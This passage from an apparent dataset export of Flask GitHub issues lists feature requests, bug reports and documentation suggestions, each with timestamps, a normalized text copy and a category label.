recurring securi truncated,help,0.7775
pallets/flask,3971852986,Add configurable JSON parsing limits and preprocessing hook,"Description
Flask currently parses JSON input using json.loads() without providing an application-level mechanism to enforce payload size limits or preprocess raw JSON before deserialization.
This feature would introduce configuration settings such as:
•⁠  ⁠JSON_MAX_STRING_LENGTH – to reject JSON payloads exceeding a defined size before parsing.
•⁠  ⁠JSON_PREPROCESS_RAW – to allow an optional callable to preprocess raw JSON text before json.loads() is executed.

Example of the Problem This Would Resolve
If a client sends a very large JSON payload (for example, 15–20MB), Flask will attempt to parse it entirely in memory. This can lead to unnecessary memory consumption and CPU usage, especially in API-heavy environments. While infrastructure-level limits (e.g., reverse proxies) may mitigate this, application-level safeguards provide defense-in-depth and improve reliability.
Currently, this problem can only be addressed by subclassing JSONProvider, overriding loads(), or modifying framework internals. Providing built-in configuration support would make it easier to enforce consistent JSON parsing policies without custom framework patches.",,2026-02-21 11:08:31+00:00,2026-02-21 15:04:40+00:00,2,nan,0.164,add configurable json parsing limits and preprocessing hook description flask currently parses json input using json loads without providing an application level mechanism to enforce payload size limits or preprocess raw json before deserialization this feature would introduce configuration settings such as json max string length to reject json payloads exceeding a defined size before parsing json preprocess raw to allow an optional callable to preprocess raw json text before json loads is executed example of the problem this would resolve if a client sends a very large json payload for example mb flask will attempt to parse it entirely in memory this can lead to unnecessary memory consumption and cpu usage especially in api heavy environments while infrastructure level limits e g reverse proxies may mitigate this application level safeguards provide defense in depth and improve reliability currently this problem can only be addressed by subclassing jsonprovider overriding loads or modifying framework internals providing built in configuration support would make it easier to enforce consistent json parsing policies without custom framework patches,others,0.765
pallets/flask,3935874237,llm junk,LLM junk removed,,2026-02-13 07:54:34+00:00,2026-02-13 08:00:30+00:00,1,nan,0.0041,llm junk llm junk removed,others,0.0
pallets/flask,3933890523,`provide_automatic_options` is weird,"While dealing with trying to detect duplicate routes in https://github.com/pallets/werkzeug/issues/3105, I ran into an issue with Flask, which adds `OPTIONS` to every single rule by default.

I started looking into Flask's `provide_automatic_options` feature, and it's just weird.

- Why is there a `PROVIDE_AUTOMATIC_OPTIONS` config? What benefit is there to turning `OPTIONS` off at all, let alone configuring it for a given deployment.
- Flask adds `OPTIONS` to every route, then has a check that runs on dispatching _every_ request to see if the method was `OPTIONS` and `provide_automatic_options` was enabled for the rule. Performing this check for every request seems wasteful, as opposed to adding an actual rule and endpoint so that the routing that's already happening handles it.
    - But adding a rule is also sort of bad, as it results in a bunch of duplicate rules since Flask has no way to know what other rules have already been added. This can be caught with Werkzeug 3.2, and doesn't cause problems in earlier versions, but it's still annoying.
- `provide_automatic_options` can be set as an attribute on the view function. There are some other attributes that are barely documented as well, such as `required_methods`. This is presumably mostly for `View` classes, but works on functions too, making type annotations unhelpful.
- If `PROVIDE_AUTOMATIC_OPTIONS` is disabled (not the default), the logic for the `provide_automatic_options` argument and attribute doesn't work correc... [TRUNCATED]",,2026-02-12 20:32:21+00:00,2026-02-12 21:07:52+00:00,1,nan,0.0247,is weird while dealing with trying to detect duplicate routes in i ran into an issue with flask which adds to every single rule by default i started looking into flask s feature and it s just weird why is there a config what benefit is there to turning off at all let alone configuring it for a given deployment flask adds to every route then has a check that runs on dispatching every request to see if the method was and was enabled for the rule performing this check for every request seems wasteful as opposed to adding an actual rule and endpoint so that the routing that s already happening handles it but adding a rule is also sort of bad as it results in a bunch of duplicate rules since flask has no way to know what other rules have already been added this can be caught with werkzeug and doesn t cause problems in earlier versions but it s still annoying can be set as an attribute on the view function there are some other attributes that are barely documented as well such as this is presumably mostly for classes but works on functions too making type annotations unhelpful if is disabled not the default the logic for the argument and attribute doesn t work correc truncated,others,-0.9537
pallets/flask,3928944031,Support for all methods in @app.route,"By default, `@app.route` sets `methods` to support only `GET` requests and the [documentation](https://flask.palletsprojects.com/en/stable/api/#flask.Flask.route) suggests that the parameters are then passed to `Rule`, where `methods=None` allows all methods to be used. In reality, even explicit `None` is treated as a default value and gets overwritten by `[""GET""]`. I suggest adding a way to allow all methods by explicitly passing `None`.

This feature would allow more direct control over `Rule` parameters when using `@app.route`, only using defaults when no value was provided. It is currently possible to work around the issue by creating the `Rule` directly, but it would be more convinient to have that option with `@app.route` decorators. It would also remove some confusion, as `None` being treated the same way as no value by `@app.route` while having a special meaning in `Rule` seems like a bug.",,2026-02-11 22:24:21+00:00,2026-02-11 22:47:07+00:00,2,nan,0.0158,support for all methods in app route by default sets to support only requests and the documentation suggests that the parameters are then passed to where allows all methods to be used in reality even explicit is treated as a default value and gets overwritten by i suggest adding a way to allow all methods by explicitly passing this feature would allow more direct control over parameters when using only using defaults when no value was provided it is currently possible to work around the issue by creating the directly but it would be more convinient to have that option with decorators it would also remove some confusion as being treated the same way as no value by while having a special meaning in seems like a bug,help,0.743
pallets/flask,3913760490,Config.from_file() missing ENOTDIR in silent error handling,"## Description

`Config.from_file()` is missing `errno.ENOTDIR` in its silent error handling, while `Config.from_pyfile()` correctly includes it.

In `from_pyfile` (line ~193):
```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR, errno.ENOTDIR):
```

In `from_file` (line ~239):
```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
```

The `ENOTDIR` case was added to `from_pyfile` in PR #2581 (fixing issue #2545), but the fix was never applied to `from_json` (now `from_file`), even though the original issue title mentioned ""from_json, etc.""

## Reproduction

When a component of the config file path is a regular file rather than a directory (e.g., `~/.myapp` is a file, and you try to load `~/.myapp/config.toml`), `from_file()` with `silent=True` raises `OSError` with `errno.ENOTDIR` instead of silently returning `False`.

```python
import flask
import tomllib

app = flask.Flask(__name__)
# If ~/.myapp is a regular file, this raises instead of returning False
app.config.from_file(""~/.myapp/config.toml"", load=tomllib.load, text=False, silent=True)
```

## Expected Behavior

`from_file(..., silent=True)` should return `False` when a path component is not a directory, matching the behavior of `from_pyfile(..., silent=True)`.

## Environment

- Flask version: 3.1.x / main branch",,2026-02-08 23:01:53+00:00,2026-02-09 03:59:02+00:00,0,nan,0.2064,config from file missing enotdir in silent error handling description is missing in its silent error handling while correctly includes it in line in line the case was added to in pr fixing issue but the fix was never applied to now even though the original issue title mentioned from json etc reproduction when a component of the config file path is a regular file rather than a directory e g is a file and you try to load with raises with instead of silently returning should return when a path component is not a directory matching the behavior of environment flask version x main branch,bug,0.25
pallets/flask,3880067115,Internal refactor: simplify response tuple unpacking in make_response in app.py,"This is an internal, non-user-facing refactor.

The `make_response` method currently contains inline logic to unpack
response tuples with different valid shapes. While this logic is correct,
it is dense and increases cognitive load in an already large method.

Refactoring this logic into a small private helper would improve
readability and long-term maintainability without changing behavior.

The current tuple unpacking logic handles multiple valid forms
((body, status, headers), (body, status), (body, headers)) inline inside
`make_response`. This makes the control flow harder to follow and
duplicates validation responsibilities within the method.

This is not easily improved via subclassing or extensions, as the logic
is internal to Flask's response handling. A small internal refactor would
isolate this responsibility and make future maintenance safer.
",,2026-01-31 20:50:02+00:00,2026-01-31 21:17:45+00:00,0,nan,0.0192,internal refactor simplify response tuple unpacking in make response in app py this is an internal non user facing refactor the method currently contains inline logic to unpack response tuples with different valid shapes while this logic is correct it is dense and increases cognitive load in an already large method refactoring this logic into a small private helper would improve readability and long term maintainability without changing behavior the current tuple unpacking logic handles multiple valid forms body status headers body status body headers inline inside this makes the control flow harder to follow and duplicates validation responsibilities within the method this is not easily improved via subclassing or extensions as the logic is internal to flask s response handling a small internal refactor would isolate this responsibility and make future maintenance safer,others,0.4039
pallets/flask,3856206368,Improve alt text for Debug Mode interactive debugger image (accessibility),"
In the Flask documentation section [“Debug Mode”](https://flask.palletsprojects.com/en/stable/quickstart/#debug-mode), there is an image demonstrating the interactive debugger with the following markup:
```
<img alt=""The interactive debugger in action.""
     class=""screenshot align-center""
     src=""../_images/debugger.png"">  
```
The alt text is very generic and does not clearly describe the content or purpose of the image.
For users who rely on screen readers, the current alt text does not convey that this is a Flask error page shown in the browser
This makes the documentation less accessible for users with visual impairments and does not fully meet the intent of WCAG 1.1.1 (Non-text Content)

**Suggested improvement**
Replace the existing alt text with something more descriptive, for example:
“Flask debug mode error page showing a Python traceback and an interactive debugger panel in the browser",,2026-01-26 14:27:03+00:00,2026-01-26 15:20:29+00:00,1,nan,0.0371,improve alt text for debug mode interactive debugger image accessibility in the flask documentation section debug mode there is an image demonstrating the interactive debugger with the following markup the alt text is very generic and does not clearly describe the content or purpose of the image for users who rely on screen readers the current alt text does not convey that this is a flask error page shown in the browser this makes the documentation less accessible for users with visual impairments and does not fully meet the intent of wcag non text content suggested improvement replace the existing alt text with something more descriptive for example flask debug mode error page showing a python traceback and an interactive debugger panel in the browser,bug,-0.3309
pallets/flask,3854501536,Flask's blueprint's render templates rendering another blueprint's folder's html file !!!,"I was learning Flask & Web Application making.
I am getting the problem when i am return the render templates of a html file  in blueprint i am getting another blueprint's html file. 
I am sharing the screenshots here below and say what is the problem here.

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/1eeb056a-b53a-434b-ae46-e7e7712a448f"" />
See here in the render template at line 33, i wish it will render the `checking.html` file which is present in the `general_bp`'s folder.

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/f5e491bc-b5b0-43f5-aa9a-0517197f2e79"" />

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/1dd4ac18-26d5-4f9f-b587-a6f7256c60a1"" />

See here is the two `checking.html` file in different folder, but as i send the first image which should render the checking.html in the `general` folder it is rendering the `auth/checking.html` file.

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/ad73f9b2-7e6e-4a9f-859d-6ead96b846eb"" />
As you see when i open the `/checking` route it is always giving the `auth>checking.html` file.

I am not understanding why this is happening. is this any problem or i make any mistake here which cause the problem. Or anything i am doing wrong when i am in the `routes.py` file

what the wrong, maybe in different blueprint's folder i have same file name so why it is ta... [TRUNCATED]",,2026-01-26 04:48:05+00:00,2026-01-26 04:51:33+00:00,2,nan,0.0024,flask s blueprint s render templates rendering another blueprint s folder s html file i was learning flask web application making i am getting the problem when i am return the render templates of a html file in blueprint i am getting another blueprint s html file i am sharing the here below and say what is the problem here see here in the render template at line i wish it will render the file which is present in the s folder see here is the two file in different folder but as i send the first image which should render the checking html in the folder it is rendering the file as you see when i open the route it is always giving the file i am not understanding why this is happening is this any problem or i make any mistake here which cause the problem or anything i am doing wrong when i am in the file what the wrong maybe in different blueprint s folder i have same file name so why it is ta truncated,others,-0.9464
pallets/flask,3851904746,package detection fails with namespace package in editable mode,"Given a package which uses namespace packaging and has been installed using ""editable installs"", Flask's scaffold (specifically `_find_package_path`) will error if the name passed to `Flask(...)` is the package name rather than a sub-module.

This affects cases where the name is the name of the package (and thus potentially not actually the `__name__`) though also happens when using `__name__` and the app is defined within a `__init__.py` in the root of the namespaced package.

Notably the issue only appears when importing the app elsewhere -- running from a python process launched at the parent of the namespace package tree hides this.

Example project:
```
├── flask-app
│   ├── setup.py
│   └── sr
│       ├── comp
│       │   ├── http
│       │   │   ├── __init__.py
│       │   └── __init__.pyi
│       └── __init__.pyi
└── run.py
```
The `__init__.pyi` files are empty and shouldn't be needed, however are present in my original project as typing markers.

```python
# run.py
print("""")
print(""run.py"")
print("""")

from sr.comp.http import app

print("""")
print(""/run.py"")
print("""")
```
```python
# flask-app/sr/comp/http/__init__.py
from flask import Flask

print(""app = Flask(__name__)"")
app = Flask(__name__)  # reproduces when defined in __init__.py

print(""app = Flask('sr.comp.http')"")
app = Flask(""sr.comp.http"")  # reproduces when defined in e.g: server.py and `app` is re-exported via __init__.py
# this latter case was my original case

@app.route(""/"")
def hello():
    return ""H... [TRUNCATED]",,2026-01-24 19:34:47+00:00,2026-01-26 05:03:12+00:00,5,nan,1.3947,package detection fails with namespace package in editable mode given a package which uses namespace packaging and has been installed using editable installs flask s scaffold specifically will error if the name passed to is the package name rather than a sub module this affects cases where the name is the name of the package and thus potentially not actually the though also happens when using and the app is defined within a in the root of the namespaced package notably the issue only appears when importing the app elsewhere running from a python process launched at the parent of the namespace package tree hides this example project the files are empty and shouldn t be needed however are present in my original project as typing markers python flask app sr comp http init py from flask import flask print app flask name app flask name reproduces when defined in init py print app flask sr comp http app flask sr comp http reproduces when defined in e g server py and is re exported via init py this latter case was my original case app route def hello return h truncated,others,-0.4939
pallets/flask,3845279007,change default redirect code to 303,"Flask and Werkzeug `redirect` currently defaults to a [302](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/302). Routing uses [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/307) since that preserves method consistently. We didn't change the `redirect` default to 307, since that would break the common pattern of ""GET form, POST form, redirect to GET result"", ending up doing ""POST result"" instead. [303](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/303) seems designed exactly for this pattern, so that a redirect always results in a GET, instead of preserving the method or only rewriting it sometimes. [HTMX actually calls this out about Flask.](https://hypermedia.systems/htmx-patterns/#:~:text=cleaner%2E-,A,resource)

I don't _think_ there would actually be a problem switching to 303 as the default. It would still do the expected thing for basic page redirects and form submission redirects. I would be really surprised if anyone was relying on the 302 behavior of only converting POST and nothing else. I don't even remember that being the behavior when we were switching to 307, and I would have switched to 303 instead of leaving 302 then if I had known about it.",,2026-01-23 00:11:40+00:00,2026-01-25 01:18:37+00:00,0,nan,2.0465,change default redirect code to flask and werkzeug currently defaults to a routing uses since that preserves method consistently we didn t change the default to since that would break the common pattern of get form post form redirect to get result ending up doing post result instead seems designed exactly for this pattern so that a redirect always results in a get instead of preserving the method or only rewriting it sometimes htmx actually calls this out about flask i don t think there would actually be a problem switching to as the default it would still do the expected thing for basic page redirects and form submission redirects i would be really surprised if anyone was relying on the behavior of only converting post and nothing else i don t even remember that being the behavior when we were switching to and i would have switched to instead of leaving then if i had known about it,others,-0.1298
pallets/flask,3807561099,Add explicit support for async teardown_request handlers,"### Summary

At the moment, `teardown_request` handlers in Flask are synchronous and cannot be defined as async functions. This makes it harder for apps that depend on async cleanup logic (e.g., closing async DB connections or awaiting async tasks) to integrate cleanly with Flask’s request lifecycle.

### Problem

When users attempt to define an async teardown handler like:

```python
@app.teardown_request
async def cleanup_async_resources(response):
    await close_async_connections()
```

Flask does not await it and treats it as a regular function, leading to unawaited coroutine warnings and the async cleanup not running as intended.

### Proposed Solution
Make teardown handlers awaitable - if a handler is declared async, Flask should await it during the teardown phase.

### Example
```python
@app.teardown_request
async def cleanup_async_resources(response):
    await some_async_cleanup()  # should be awaited before response is finalized
```

### Motivation
Better async integration support as more frameworks and applications adopt async patterns. This would make Flask’s async support more complete and intuitive.

### Environment

```python
Flask version: (e.g., 3.2.x)
Python version: 3.9+
```

Async libs used: Any

### Thanks!",,2026-01-13 07:40:27+00:00,2026-01-13 15:05:06+00:00,1,nan,0.3088,add explicit support for async teardown request handlers summary at the moment handlers in flask are synchronous and cannot be defined as async functions this makes it harder for apps that depend on async cleanup logic e g closing async db connections or awaiting async tasks to integrate cleanly with flask s request lifecycle problem when users attempt to define an async teardown handler like flask does not await it and treats it as a regular function leading to unawaited coroutine warnings and the async cleanup not running as intended proposed solution make teardown handlers awaitable if a handler is declared async flask should await it during the teardown phase example motivation better async integration support as more frameworks and applications adopt async patterns this would make flask s async support more complete and intuitive environment async libs used any thanks,feature,0.9361
pallets/flask,3782536274,asgiref fails with gevent patching,"When `gevent.monkey.patch_all()` is used, `async def` functions fail when multiple concurrent requests are sent. asgiref gives the error `RuntimeError: You cannot use AsyncToSync in the same thread as an async event loop - just await the async function directly.`. This suggests that somehow, gevent is causing a running loop to be visible across threads.

`example.py`:

```python
# /// script
# requires-python = ""~=3.14.0""
# dependencies = [
#     ""flask[async]"",
#     ""gevent"",
# ]
#
# [tool.uv]
# exclude-newer = ""2026-01-05T00:00:00Z""
#
# [tool.uv.sources]
# flask = { path = ""."", editable = true }
# ///

import gevent.monkey
gevent.monkey.patch_all()

import asyncio

from flask import Flask

app = Flask(__name__)

@app.get(""/"")
async def hello_world():
    await asyncio.sleep(0.5)
    return f""Hello, World!""
```

```
uv run --with-requirements example.py flask -A example.py run
```

`load.py`:

```python
# /// script
# requires-python = ""~=3.14.0""
# dependencies = [
#     ""httpx"",
# ]
#
# [tool.uv]
# exclude-newer = ""2026-01-05""
# ///

import asyncio
import httpx

async def get(i, client: httpx.AsyncClient):
    r = await client.get(""http://127.0.0.1:5000"")
    print(i, await r.aread())

async def main():
    async with httpx.AsyncClient() as client, asyncio.TaskGroup() as group:
        for i in range(50):
            group.create_task(get(i, client))

asyncio.run(main())
```

```
uv run load.py
```

Continues #5817 with more details.",docs,2026-01-05 18:52:04+00:00,2026-01-25 18:36:51+00:00,16,docs,19.9894,asgiref fails with gevent patching when is used functions fail when multiple concurrent requests are sent asgiref gives the error this suggests that somehow gevent is causing a running loop to be visible across threads continues with more details,documentation,-0.8316
pallets/flask,3760584280,Teardown handler chain exception handling,"Flask executes registered teardown handlers (used for closing DB connections, releasing locks, etc.) in a chain. The do_teardown_request method which is supposed to make these teardown requests does not wrap individual handlers in a try/except block. If one handler raises an exception, the loop terminates immediately, and all subsequent handlers are skipped, this can lead to the application to skip critical cleanup routines if a non critical one fails.

Sample reproduction code
```python
import threading
import time
import requests
from flask import Flask

app = Flask(__name__)

#a simulation of a limited resource pool
mock_db_connections = 0

@app.route('/')
def index():
    global mock_db_connections
    mock_db_connections = mock_db_connections + 1
    return ""Request Processed""

#simulating a critical teardown handler which is supposed to free resources from the db
@app.teardown_request
def critical_db_close(exc):
    global mock_db_connections
    mock_db_connections = mock_db_connections - 1

#teardown handler which can crash
@app.teardown_request
def buggy_extension(exc):
    raise Exception(""Crash in buggy extension!"")

def run_server():
    #just for clearner output
    import logging
    log = logging.getLogger('werkzeug')
    log.setLevel(logging.ERROR)
    app.logger.disabled = True
    
    app.run(port=5000, threaded=True)

def verify_bug():
    
    print(f""Initial DB Connections: {mock_db_connections}"")
    
    try:
        requests.get('http://127.0.0.1:5000... [TRUNCATED]",,2025-12-24 15:27:55+00:00,2025-12-24 16:01:34+00:00,1,nan,0.0234,teardown handler chain exception handling flask executes registered teardown handlers used for closing db connections releasing locks etc in a chain the do teardown request method which is supposed to make these teardown requests does not wrap individual handlers in a try except block if one handler raises an exception the loop terminates immediately and all subsequent handlers are skipped this can lead to the application to skip critical cleanup routines if a non critical one fails sample reproduction code python import threading import time import requests from flask import flask app flask name a simulation of a limited resource pool mock db connections app route def index global mock db connections mock db connections mock db connections return request processed simulating a critical teardown handler which is supposed to free resources from the db app teardown request def critical db close exc global mock db connections mock db connections mock db connections teardown handler which can crash app teardown request def buggy extension exc raise exception crash in buggy extension def run server just for clearner output import logging log logging getlogger werkzeug log setlevel logging error app logger disabled true app run port threaded true def verify bug print f initial db connections mock db connections try requests get truncated,others,-0.9908
pallets/flask,3731216047,Modern CSRF Protection Using `Sec-Fetch-Site` Header,"Flask's documentation states that CSRF protection requires a form validation framework (which Flask doesn't provide), necessitating one-time tokens stored in cookies and transmitted with form data. However, modern browsers now support `Sec-Fetch-Site` headers, making token-based CSRF protection unnecessary. Rails just merged this approach in [rails/rails#56350](https://github.com/rails/rails/pull/56350). Flask should offer a similar modern solution—but in a more Flask-like way: as a simple argument to `@app.route()`.

## Current State

From Flask's security documentation:

> ""Why does Flask not do that for you? The ideal place for this to happen is the form validation framework, which does not exist in Flask.""

This was written when CSRF tokens were the only viable protection mechanism. That's no longer true. And with header-based protection, no form validation framework is needed—just a simple check before dispatching to the view.

## The Modern Approach

The `Sec-Fetch-Site` header is a [Fetch Metadata Request Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site) that modern browsers send automatically. It indicates the relationship between the request origin and the target origin:

- `same-origin`: Request from the same origin (same scheme, host, and port)
- `same-site`: Request from the same site but different origin
- `cross-site`: Request from a completely different site
- `none`: User-initiated navigation (typing URL, bookmark, etc.)

For st... [TRUNCATED]",,2025-12-15 16:29:24+00:00,2025-12-17 15:35:42+00:00,6,nan,1.9627,modern csrf protection using header flask s documentation states that csrf protection requires a form validation framework which flask doesn t provide necessitating one time tokens stored in cookies and transmitted with form data however modern browsers now support headers making token based csrf protection unnecessary rails just merged this approach in rails rails flask should offer a similar modern solution but in a more flask like way as a simple argument to current state from flask s security documentation why does flask not do that for you the ideal place for this to happen is the form validation framework which does not exist in flask this was written when csrf tokens were the only viable protection mechanism that s no longer true and with header based protection no form validation framework is needed just a simple check before dispatching to the view the modern approach the header is a fetch metadata request header that modern browsers send automatically it indicates the relationship between the request origin and the target origin request from the same origin same scheme host and port request from the same site but different origin request from a completely different site user initiated navigation typing url bookmark etc for st truncated,others,0.8663
pallets/flask,3725801628,Proposal: CLI command to validate API endpoints by making test requests,"### Motivation

When working on Flask applications with many API endpoints, it is sometimes
useful to quickly check whether all registered routes can be accessed without
raising unexpected errors (e.g. unhandled exceptions, 500 errors).

At the moment, developers typically need to write custom scripts or tests to
perform this kind of basic validation. Providing an opt-in CLI command could
help improve developer experience, especially during local development.

### Proposal

Introduce an optional Flask CLI command (for example, `flask check-endpoints`)
that iterates over registered routes and makes test requests using Flask’s
test client.

The goal would not be full correctness testing, but a lightweight sanity check
to detect obvious runtime errors.

Possible initial scope:
- Only routes with simple methods (e.g. GET by default)
- Skip routes with required path parameters
- Report endpoints that raise exceptions or return 5xx responses
- Development-only usage

### Design considerations

- The command should be fully opt-in and not affect existing behavior.
- No network requests; use Flask’s built-in test client.
- Keep output simple and readable (similar to `flask routes`).
- Advanced features (custom payloads, auth, etc.) could be out of scope initially.

### Open questions

- Should this live as a core CLI command or as an optional extension?
- How should endpoints with required parameters or authentication be handled?
- Should the command fail on the first error or report... [TRUNCATED]",,2025-12-13 10:43:23+00:00,2025-12-13 11:09:29+00:00,3,nan,0.0181,proposal cli command to validate api endpoints by making test requests motivation when working on flask applications with many api endpoints it is sometimes useful to quickly check whether all registered routes can be accessed without raising unexpected errors e g unhandled exceptions errors at the moment developers typically need to write custom scripts or tests to perform this kind of basic validation providing an opt in cli command could help improve developer experience especially during local development proposal introduce an optional flask cli command for example that iterates over registered routes and makes test requests using flask s test client the goal would not be full correctness testing but a lightweight sanity check to detect obvious runtime errors possible initial scope only routes with simple methods e g get by default skip routes with required path parameters report endpoints that raise exceptions or return xx responses development only usage design considerations the command should be fully opt in and not affect existing behavior no network requests use flask s built in test client keep output simple and readable similar to advanced features custom payloads auth etc could be out of scope initially open questions should this live as a core cli command or as an optional extension how should endpoints with required parameters or authentication be handled should the command fail on the first error or report truncated,feature,0.1255
pallets/flask,3650788617,Add Copy-to-Clipboard button for code examples in documentation,"### Feature Request: Add copy button to code blocks in documentation

#### Problem

Many pages in the Flask documentation contain multi-line code snippets, but there is no built-in way to copy the entire block with one click. Users currently need to manually select text, which is slower and error-prone.

#### Proposed Solution

Add a small ""Copy"" button to each `div.highlight` element using a small JavaScript file included via Sphinx.

- Implemented using the native Clipboard API (no external library)
- Minimal UI impact
- Applied only to docs frontend, not core package

#### Motivation & Benefits

- Easier copy-paste for beginners following tutorials
- Consistent with other frameworks (FastAPI, Django, Click docs, etc.)
- Improves developer experience without affecting core Flask code

#### Status

I have already implemented a working version locally and can submit a PR once approved.

Let me know if this is useful and if I should proceed with a pull request.
",,2025-11-21 08:56:06+00:00,2025-11-21 15:59:10+00:00,0,nan,0.2938,add copy to clipboard button for code examples in documentation feature request add copy button to code blocks in documentation problem many pages in the flask documentation contain multi line code snippets but there is no built in way to copy the entire block with one click users currently need to manually select text which is slower and error prone proposed solution add a small copy button to each element using a small javascript file included via sphinx implemented using the native clipboard api no external library minimal ui impact applied only to docs frontend not core package motivation benefits easier copy paste for beginners following tutorials consistent with other frameworks fastapi django click docs etc improves developer experience without affecting core flask code status i have already implemented a working version locally and can submit a pr once approved let me know if this is useful and if i should proceed with a pull request,documentation,0.6119
pallets/flask,3641367090,Add copy-to-clipboard button for code blocks in Flask documentation.,"### Description

I propose to add a ""copy to clipboard"" button next to all code blocks in the Flask documentation. This will allow users to easily copy example code or command-line snippets with a single click instead of manually selecting the text. This feature greatly improves usability and convenience, especially on mobile devices.

Flask documentation uses Sphinx for static site generation, and there is an existing Sphinx extension called [sphinx-copybutton](https://sphinx-copybutton.readthedocs.io/en/latest/) that provides this functionality out of the box. It can be enabled by simply adding it to the `extensions` list in the Sphinx `conf.py` file.


This extension also supports stripping common prompts (like `>>>`, `$`) from copied content, making the copied snippets cleaner.

### Problem this resolves

Currently, users have to manually select and copy code blocks, which can be error-prone and inconvenient. Adding a copy button makes the process faster and less error-prone.

### Additional notes

- The change is additive and does not affect existing documentation content or structure.
- This enhancement aligns Flask docs with modern documentation practices seen in many popular projects.

I am happy to implement this feature and create a pull request once the issue is approved.

",,2025-11-19 07:09:10+00:00,2025-11-19 14:30:56+00:00,0,nan,0.3068,add copy to clipboard button for code blocks in flask documentation description i propose to add a copy to clipboard button next to all code blocks in the flask documentation this will allow users to easily copy example code or command line snippets with a single click instead of manually selecting the text this feature greatly improves usability and convenience especially on mobile devices flask documentation uses sphinx for static site generation and there is an existing sphinx extension called sphinx copybutton that provides this functionality out of the box it can be enabled by simply adding it to the list in the sphinx file this extension also supports stripping common prompts like from copied content making the copied snippets cleaner problem this resolves currently users have to manually select and copy code blocks which can be error prone and inconvenient adding a copy button makes the process faster and less error prone additional notes the change is additive and does not affect existing documentation content or structure this enhancement aligns flask docs with modern documentation practices seen in many popular projects i am happy to implement this feature and create a pull request once the issue is approved,documentation,0.8553
pallets/flask,3572589158,"Really, I can't close connection???","Jesus Christ, what kind of library doesn’t allow forcefully closing a connection? Even after returning or using abort, it still continues to process data in the background. This is disappointing, there’s no way, for example, to forcefully stop a file upload after checking its header. It will still continue to process the remaining 100 GB of the file.

```
@app.route('/upload', methods=['POST'])
def upload_file():
    print(1)
    return ""wtf"", 400 # still continues to process data
```",,2025-10-30 21:35:46+00:00,2025-10-30 22:31:35+00:00,4,nan,0.0388,really i can t close connection jesus christ what kind of library doesn t allow forcefully closing a connection even after returning or using abort it still continues to process data in the background this is disappointing there s no way for example to forcefully stop a file upload after checking its header it will still continue to process the remaining gb of the file,others,-0.6908
pallets/flask,3552937053,Test failures with click 8.3.1,"Click 8.3.1 was [tagged](https://github.com/pallets/click/releases/tag/8.3.1) but not released on PyPI. Running flask's test suite with that version results in
```
============================= test session starts ==============================
platform linux -- Python 3.13.8, pytest-8.4.2, pluggy-1.6.0
rootdir: /build/flask-3.1.2
configfile: pyproject.toml
testpaths: tests
collected 490 items                                                            

tests/test_appctx.py ..............                                      [  2%]
tests/test_async.py ........                                             [  4%]
tests/test_basic.py .................................................... [ 15%]
........................................................................ [ 29%]
......                                                                   [ 31%]
tests/test_blueprints.py ............................................... [ 40%]
.............                                                            [ 43%]
tests/test_cli.py ...................................................F.. [ 54%]
...F                                                                     [ 55%]
tests/test_config.py ...................                                 [ 58%]
tests/test_converters.py ..                                              [ 59%]
tests/test_helpers.py ...................................                [ 66%]
tests/test_instance_config.py .......                                    [ 67%]
te... [TRUNCATED]",,2025-10-25 20:08:38+00:00,2025-11-10 19:18:28+00:00,8,nan,15.9652,test failures with click click was tagged but not released on pypi running flask s test suite with that version results in test session starts platform linux python pytest pluggy rootdir build flask configfile pyproject toml testpaths tests collected items tests test appctx py tests test async py tests test basic py tests test blueprints py tests test cli py f f tests test config py tests test converters py tests test helpers py tests test instance config py te truncated,others,0.1655
pallets/flask,3492022759,Document 415 on the receiving json section,"Documentation on ""json"" request throwing a 415 as well as 400.  

The problem text is on https://flask.palletsprojects.com/en/stable/patterns/javascript/#receiving-json-in-views

> Receiving JSON in Views
> 
> Use the [json](https://flask.palletsprojects.com/en/stable/api/#flask.Request.json) property of the [request](https://flask.palletsprojects.com/en/stable/api/#flask.request) object to decode the request’s body as JSON. If the body is not valid JSON, or the Content-Type header is not set to application/json, a 400 Bad Request error will be raised

I believe you want to indicate that it's a 415 instead of 400 when the Content-Type header doesn't match as it's done on https://flask.palletsprojects.com/en/stable/api/#flask.Request.json

400 is still valid for when the body isn't json (even though the content-type is json).

So maybe something like this ? 

> Receiving JSON in Views
>
> Use the [json](https://flask.palletsprojects.com/en/stable/api/#flask.Request.json) property of the [request](https://flask.palletsprojects.com/en/stable/api/#flask.request) object to decode the request’s body as JSON. If the body is not valid JSON, a 400 Bad Request error will be raised.  If the Content-Type header is not set to application/json, a 415 Unsupported Media Type error will be raised

Environment:

- Python version: N/A
- Flask version: latest doc



This is in no way a bug, but it's for being aligned everywhere in your doc :).  I'm just trying to make things better, I love the p... [TRUNCATED]",docs,2025-10-07 15:41:58+00:00,2026-01-25 03:02:15+00:00,4,docs,109.4724,document on the receiving json section documentation on json request throwing a as well as the problem text is on receiving json in views use the json property of the request object to decode the request s body as json if the body is not valid json or the content type header is not set to application json a bad request error will be raised i believe you want to indicate that it s a instead of when the content type header doesn t match as it s done on is still valid for when the body isn t json even though the content type is json so maybe something like this receiving json in views use the json property of the request object to decode the request s body as json if the body is not valid json a bad request error will be raised if the content type header is not set to application json a unsupported media type error will be raised environment python version n a flask version latest doc this is in no way a bug but it s for being aligned everywhere in your doc i m just trying to make things better i love the p truncated,documentation,0.1108
pallets/flask,3437839283,Enrich Flask’s public API type hints using typing.Annotated with Doc metadata,"## Feature Request

### Summary

Enhance selected public Flask APIs (for example `add_url_rule` and `route`) by adding
`typing.Annotated` with `Doc` metadata **and `Literal` types for HTTP methods** to provide
richer IDE assistance and stronger static type checking.

### Example

```python
from typing import Annotated, Literal
from typing_extensions import Doc

# Strict HTTP method type for auto-complete and validation
Method = Literal[""GET"", ""POST"", ""PUT"", ""DELETE"", ""PATCH"", ""OPTIONS"", ""HEAD""]

def add_url_rule(
    rule: Annotated[str, Doc(""URL path such as '/home' or '/api/items/<int:id>'"")],
    *,
